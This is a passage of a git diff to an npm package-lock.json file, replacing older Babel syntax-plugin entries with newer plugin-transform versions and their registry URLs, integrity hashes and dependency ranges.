"https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz", + "integrity": "sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==", "dev": true, "dependencies": { - "@babel/helper-plugin-utils": "^7.12.13" + "@babel/helper-plugin-utils": "^7.8.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-syntax-class-static-block": { + "node_modules/@babel/plugin-syntax-top-level-await": { "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz", - "integrity": "sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw==", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz", + "integrity": "sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw==", "dev": true, "dependencies": { "@babel/helper-plugin-utils": "^7.14.5" @@ -860,76 +999,63 @@ "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-syntax-dynamic-import": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz", - "integrity": "sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==", + "node_modules/@babel/plugin-syntax-typescript": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.22.5.tgz", + "integrity": "sha512-1mS2o03i7t1c6VzH6fdQ3OA8tcEIxwG18zIPRp+UY1Ihv6W+XZzBCVxExF9upussPXJ0xE9XRHwMoNs1ep/nRQ==", "dev": true, "dependencies": { - "@babel/helper-plugin-utils": "^7.8.0" + "@babel/helper-plugin-utils": "^7.22.5" }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-syntax-export-namespace-from": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-export-namespace-from/-/plugin-syntax-export-namespace-from-7.8.3.tgz", - "integrity": "sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.8.3" + "engines": { + "node": ">=6.9.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-syntax-import-assertions": { + "node_modules/@babel/plugin-syntax-unicode-sets-regex": { "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-assertions/-/plugin-syntax-import-assertions-7.18.6.tgz", - "integrity": "sha512-/DU3RXad9+bZwrgWJQKbr39gYbJpLJHezqEzRzi/BHRlJ9zsQb4CK2CA/5apllXNomwA1qHwzvHl+AdEmC5krQ==", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-unicode-sets-regex/-/plugin-syntax-unicode-sets-regex-7.18.6.tgz", + "integrity": "sha512-727YkEAPwSIQTv5im8QHz3upqp92JTWhidIC81Tdx4VJYIte/VndKf1qKrfnnhPLiPghStWfvC/iFaMCQu7Nqg==", "dev": true, "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.18.6", "@babel/helper-plugin-utils": "^7.18.6" }, "engines": { "node": ">=6.9.0" }, "peerDependencies": { - "@babel/core": "^7.0.0-0" + "@babel/core": "^7.0.0" } }, - "node_modules/@babel/plugin-syntax-import-meta": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-meta/-/plugin-syntax-import-meta-7.10.4.tgz", - "integrity": "sha512-Yqfm+XDx0+Prh3VSeEQCPU81yC+JWZ2pDPFSS4ZdpfZhp4MkFMaDC1UqseovEKwSUpnIL7+vK+Clp7bfh0iD7g==", + "node_modules/@babel/plugin-transform-arrow-functions": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.27.1.tgz", + "integrity": "sha512-8Z4TGic6xW70FKThA5HYEKKyBpOOsucTOD1DjU3fZxDg+K3zBJcXMFnt/4yQiZnf5+MiOMSXQ9PaEK/Ilh1DeA==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.10.4" + "@babel/helper-plugin-utils": "^7.27.1" }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-syntax-json-strings": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz", - "integrity": "sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.8.0" + "engines": { + "node": ">=6.9.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-syntax-jsx": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.18.6.tgz", - "integrity": "sha512-6mmljtAedFGTWu2p/8WIORGwy+61PLgOMPOdazc7YoJ9ZCWUyFy3A6CpPkRKLKD1ToAesxX8KGEViAiLo9N+7Q==", + "node_modules/@babel/plugin-transform-async-generator-functions": { + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-generator-functions/-/plugin-transform-async-generator-functions-7.28.0.tgz", + "integrity": "sha512-BEOdvX4+M765icNPZeidyADIvQ1m1gmunXufXxvRESy/jNNyfovIqUyE7MVgGBjWktCoJlzvFA1To2O4ymIO3Q==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/helper-remap-async-to-generator": "^7.27.1", + "@babel/traverse": "^7.28.0" }, "engines": { "node": ">=6.9.0" @@ -938,100 +1064,103 @@ "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-syntax-logical-assignment-operators": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz", - "integrity": "sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==", + "node_modules/@babel/plugin-transform-async-to-generator": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.27.1.tgz", + "integrity": "sha512-NREkZsZVJS4xmTr8qzE5y8AfIPqsdQfRuUiLRTEzb7Qii8iFWCyDKaUV2c0rCuh4ljDZ98ALHP/PetiBV2nddA==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.10.4" + "@babel/helper-module-imports": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/helper-remap-async-to-generator": "^7.27.1" }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-syntax-nullish-coalescing-operator": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz", - "integrity": "sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.8.0" + "engines": { + "node": ">=6.9.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-syntax-numeric-separator": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz", - "integrity": "sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==", + "node_modules/@babel/plugin-transform-block-scoped-functions": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.27.1.tgz", + "integrity": "sha512-cnqkuOtZLapWYZUYM5rVIdv1nXYuFVIltZ6ZJ7nIj585QsjKM5dhL2Fu/lICXZ1OyIAFc7Qy+bvDAtTXqGrlhg==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.10.4" + "@babel/helper-plugin-utils": "^7.27.1" }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-syntax-object-rest-spread": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz", - "integrity": "sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.8.0" + "engines": { + "node": ">=6.9.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-syntax-optional-catch-binding": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz", - "integrity": "sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==", + "node_modules/@babel/plugin-transform-block-scoping": { + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.28.0.tgz", + "integrity": "sha512-gKKnwjpdx5sER/wl0WN0efUBFzF/56YZO0RJrSYP4CljXnP31ByY7fol89AzomdlLNzI36AvOTmYHsnZTCkq8Q==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.8.0" + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-syntax-optional-chaining": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz", - "integrity": "sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==", + "node_modules/@babel/plugin-transform-class-properties": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-class-properties/-/plugin-transform-class-properties-7.27.1.tgz", + "integrity": "sha512-D0VcalChDMtuRvJIu3U/fwWjf8ZMykz5iZsg77Nuj821vCKI3zCyRLwRdWbsuJ/uRwZhZ002QtCqIkwC/ZkvbA==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.8.0" + "@babel/helper-create-class-features-plugin": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-syntax-private-property-in-object": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz", - "integrity": "sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg==", + "node_modules/@babel/plugin-transform-class-static-block": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-class-static-block/-/plugin-transform-class-static-block-7.27.1.tgz", + "integrity": "sha512-s734HmYU78MVzZ++joYM+NkJusItbdRcbm+AGRgJCt3iA+yux0QpD9cBVdz3tKyrjVYWRl7j0mHSmv4lhV0aoA==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.14.5" + "@babel/helper-create-class-features-plugin": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" }, "engines": { "node": ">=6.9.0" }, "peerDependencies": { - "@babel/core": "^7.0.0-0" + "@babel/core": "^7.12.0" } }, - "node_modules/@babel/plugin-syntax-top-level-await": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz", - "integrity": "sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw==", + "node_modules/@babel/plugin-transform-classes": { + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.28.0.tgz", + "integrity": "sha512-IjM1IoJNw72AZFlj33Cu8X0q2XK/6AaVC3jQu+cgQ5lThWD5ajnuUAml80dqRmOhmPkTH8uAwnpMu9Rvj0LTRA==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.14.5" + "@babel/helper-annotate-as-pure": "^7.27.3", + "@babel/helper-compilation-targets": "^7.27.2", + "@babel/helper-globals": "^7.28.0", + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/helper-replace-supers": "^7.27.1", + "@babel/traverse": "^7.28.0" }, "engines": { "node": ">=6.9.0" @@ -1040,13 +1169,15 @@ "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-syntax-typescript": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.18.6.tgz", - "integrity": "sha512-mAWAuq4rvOepWCBid55JuRNvpTNf2UGVgoz4JV0fXEKolsVZDzsa4NqCef758WZJj/GDu0gVGItjKFiClTAmZA==", + "node_modules/@babel/plugin-transform-computed-properties": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.27.1.tgz", + "integrity": "sha512-lj9PGWvMTVksbWiDT2tW68zGS/cyo4AkZ/QTp0sQT0mjPopCmrSkzxeXkznjqBxzDI6TclZhOJbBmbBLjuOZUw==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/template": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -1055,13 +1186,15 @@ "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-transform-arrow-functions": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.18.6.tgz", - "integrity": "sha512-9S9X9RUefzrsHZmKMbDXxweEH+YlE8JJEuat9FdvW9Qh1cw7W64jELCtWNkPBPX5En45uy28KGvA/AySqUh8CQ==", + "node_modules/@babel/plugin-transform-destructuring": { + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.28.0.tgz", + "integrity": "sha512-v1nrSMBiKcodhsyJ4Gf+Z0U/yawmJDBOTpEB3mcQY52r9RIyPneGyAS/yM6seP/8I+mWI3elOMtT5dB8GJVs+A==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/traverse": "^7.28.0" }, "engines": { "node": ">=6.9.0" @@ -1070,15 +1203,15 @@ "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-transform-async-to-generator": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.18.6.tgz", - "integrity": "sha512-ARE5wZLKnTgPW7/1ftQmSi1CmkqqHo2DNmtztFhvgtOWSDfq0Cq9/9L+KnZNYSNrydBekhW3rwShduf59RoXag==", + "node_modules/@babel/plugin-transform-dotall-regex": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.27.1.tgz", + "integrity": "sha512-gEbkDVGRvjj7+T1ivxrfgygpT7GUd4vmODtYpbs0gZATdkX8/iSnOtZSxiZnsgm1YjTgjI6VKBGSJJevkrclzw==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-module-imports": "^7.18.6", - "@babel/helper-plugin-utils": "^7.18.6", - "@babel/helper-remap-async-to-generator": "^7.18.6" + "@babel/helper-create-regexp-features-plugin": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -1087,13 +1220,14 @@ "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-transform-block-scoped-functions": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.18.6.tgz", - "integrity": "sha512-ExUcOqpPWnliRcPqves5HJcJOvHvIIWfuS4sroBUenPuMdmW+SMHDakmtS7qOo13sVppmUijqeTv7qqGsvURpQ==", + "node_modules/@babel/plugin-transform-duplicate-keys": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.27.1.tgz", + "integrity": "sha512-MTyJk98sHvSs+cvZ4nOauwTTG1JeonDjSGvGGUNHreGQns+Mpt6WX/dVzWBHgg+dYZhkC4X+zTDfkTU+Vy9y7Q==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -1102,35 +1236,31 @@ "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-transform-block-scoping": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.18.9.tgz", - "integrity": "sha512-5sDIJRV1KtQVEbt/EIBwGy4T01uYIo4KRB3VUqzkhrAIOGx7AoctL9+Ux88btY0zXdDyPJ9mW+bg+v+XEkGmtw==", + "node_modules/@babel/plugin-transform-duplicate-named-capturing-groups-regex": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-named-capturing-groups-regex/-/plugin-transform-duplicate-named-capturing-groups-regex-7.27.1.tgz", + "integrity": "sha512-hkGcueTEzuhB30B3eJCbCYeCaaEQOmQR0AdvzpD4LoN0GXMWzzGSuRrxR2xTnCrvNbVwK9N6/jQ92GSLfiZWoQ==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.18.9" + "@babel/helper-create-regexp-features-plugin": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" }, "engines": { "node": ">=6.9.0" }, "peerDependencies": { - "@babel/core": "^7.0.0-0" + "@babel/core": "^7.0.0" } }, - "node_modules/@babel/plugin-transform-classes": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.18.9.tgz", - "integrity": "sha512-EkRQxsxoytpTlKJmSPYrsOMjCILacAjtSVkd4gChEe2kXjFCun3yohhW5I7plXJhCemM0gKsaGMcO8tinvCA5g==", + "node_modules/@babel/plugin-transform-dynamic-import": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dynamic-import/-/plugin-transform-dynamic-import-7.27.1.tgz", + "integrity": "sha512-MHzkWQcEmjzzVW9j2q8LGjwGWpG2mjwaaB0BNQwst3FIjqsg8Ct/mIZlvSPJvfi9y2AC8mi/ktxbFVL9pZ1I4A==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-annotate-as-pure": "^7.18.6", - "@babel/helper-environment-visitor": "^7.18.9", - "@babel/helper-function-name": "^7.18.9", - "@babel/helper-optimise-call-expression": "^7.18.6", - "@babel/helper-plugin-utils": "^7.18.9", - "@babel/helper-replace-supers": "^7.18.9", - "@babel/helper-split-export-declaration": "^7.18.6", - "globals": "^11.1.0" + "@babel/helper-plugin-utils": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -1139,13 +1269,15 @@ "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-transform-computed-properties": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.18.9.tgz", - "integrity": "sha512-+i0ZU1bCDymKakLxn5srGHrsAPRELC2WIbzwjLhHW9SIE1cPYkLCL0NlnXMZaM1vhfgA2+M7hySk42VBvrkBRw==", + "node_modules/@babel/plugin-transform-explicit-resource-management": { + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-explicit-resource-management/-/plugin-transform-explicit-resource-management-7.28.0.tgz", + "integrity": "sha512-K8nhUcn3f6iB+P3gwCv/no7OdzOZQcKchW6N389V6PD8NUWKZHzndOd9sPDVbMoBsbmjMqlB4L9fm+fEFNVlwQ==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.18.9" + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/plugin-transform-destructuring": "^7.28.0" }, "engines": { "node": ">=6.9.0" @@ -1154,13 +1286,14 @@ "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-transform-destructuring": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.18.9.tgz", - "integrity": "sha512-p5VCYNddPLkZTq4XymQIaIfZNJwT9YsjkPOhkVEqt6QIpQFZVM9IltqqYpOEkJoN1DPznmxUDyZ5CTZs/ZCuHA==", + "node_modules/@babel/plugin-transform-exponentiation-operator": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.27.1.tgz", + "integrity": "sha512-uspvXnhHvGKf2r4VVtBpeFnuDWsJLQ6MF6lGJLC89jBR1uoVeqM416AZtTuhTezOfgHicpJQmoD5YUakO/YmXQ==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.18.9" + "@babel/helper-plugin-utils": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -1169,14 +1302,14 @@ "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-transform-dotall-regex": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.18.6.tgz", - "integrity": "sha512-6S3jpun1eEbAxq7TdjLotAsl4WpQI9DxfkycRcKrjhQYzU87qpXdknpBg/e+TdcMehqGnLFi7tnFUBR02Vq6wg==", + "node_modules/@babel/plugin-transform-export-namespace-from": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-export-namespace-from/-/plugin-transform-export-namespace-from-7.27.1.tgz", + "integrity": "sha512-tQvHWSZ3/jH2xuq/vZDy0jNn+ZdXJeM8gHvX4lnJmsc3+50yPlWdZXIc5ay+umX+2/tJIqHqiEqcJvxlmIvRvQ==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-create-regexp-features-plugin": "^7.18.6", - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -1185,13 +1318,15 @@ "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-transform-duplicate-keys": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.18.9.tgz", - "integrity": "sha512-d2bmXCtZXYc59/0SanQKbiWINadaJXqtvIQIzd4+hNwkWBgyCd5F/2t1kXoUdvPMrxzPvhK6EMQRROxsue+mfw==", + "node_modules/@babel/plugin-transform-for-of": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.27.1.tgz", + "integrity": "sha512-BfbWFFEJFQzLCQ5N8VocnCtA8J1CLkNTe2Ms2wocj75dd6VpiqS5Z5quTYcUoo4Yq+DN0rtikODccuv7RU81sw==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.18.9" + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -1200,14 +1335,16 @@ "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-transform-exponentiation-operator": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.18.6.tgz", - "integrity": "sha512-wzEtc0+2c88FVR34aQmiz56dxEkxr2g8DQb/KfaFa1JYXOFVsbhvAonFN6PwVWj++fKmku8NP80plJ5Et4wqHw==", + "node_modules/@babel/plugin-transform-function-name": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.27.1.tgz", + "integrity": "sha512-1bQeydJF9Nr1eBCMMbC+hdwmRlsv5XYOMu03YSWFwNs0HsAmtSxxF1fyuYPqemVldVyFmlCU7w8UE14LupUSZQ==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-builder-binary-assignment-operator-visitor": "^7.18.6", - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-compilation-targets": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/traverse": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -1216,13 +1353,14 @@ "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-transform-for-of": { - "version": "7.18.8", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.18.8.tgz", - "integrity": "sha512-yEfTRnjuskWYo0k1mHUqrVWaZwrdq8AYbfrpqULOJOaucGSp4mNMVps+YtA8byoevxS/urwU75vyhQIxcCgiBQ==", + "node_modules/@babel/plugin-transform-json-strings": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-json-strings/-/plugin-transform-json-strings-7.27.1.tgz", + "integrity": "sha512-6WVLVJiTjqcQauBhn1LkICsR2H+zm62I3h9faTDKt1qP4jn2o72tSvqMwtGFKGTpojce0gJs+76eZ2uCHRZh0Q==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -1231,15 +1369,14 @@ "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-transform-function-name": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.18.9.tgz", - "integrity": "sha512-WvIBoRPaJQ5yVHzcnJFor7oS5Ls0PYixlTYE63lCj2RtdQEl15M68FXQlxnG6wdraJIXRdR7KI+hQ7q/9QjrCQ==", + "node_modules/@babel/plugin-transform-literals": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.27.1.tgz", + "integrity": "sha512-0HCFSepIpLTkLcsi86GG3mTUzxV5jpmbv97hTETW3yzrAij8aqlD36toB1D0daVFJM8NK6GvKO0gslVQmm+zZA==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-compilation-targets": "^7.18.9", - "@babel/helper-function-name": "^7.18.9", - "@babel/helper-plugin-utils": "^7.18.9" + "@babel/helper-plugin-utils": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -1248,13 +1385,14 @@ "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-transform-literals": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.18.9.tgz", - "integrity": "sha512-IFQDSRoTPnrAIrI5zoZv73IFeZu2dhu6irxQjY9rNjTT53VmKg9fenjvoiOWOkJ6mm4jKVPtdMzBY98Fp4Z4cg==", + "node_modules/@babel/plugin-transform-logical-assignment-operators": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-logical-assignment-operators/-/plugin-transform-logical-assignment-operators-7.27.1.tgz", + "integrity": "sha512-SJvDs5dXxiae4FbSL1aBJlG4wvl594N6YEVVn9e3JGulwioy6z3oPjx/sQBO3Y4NwUu5HNix6KJ3wBZoewcdbw==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.18.9" + "@babel/helper-plugin-utils": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -1264,12 +1402,13 @@ } }, "node_modules/@babel/plugin-transform-member-expression-literals": { - "version": "7.18.6", - "resolved": 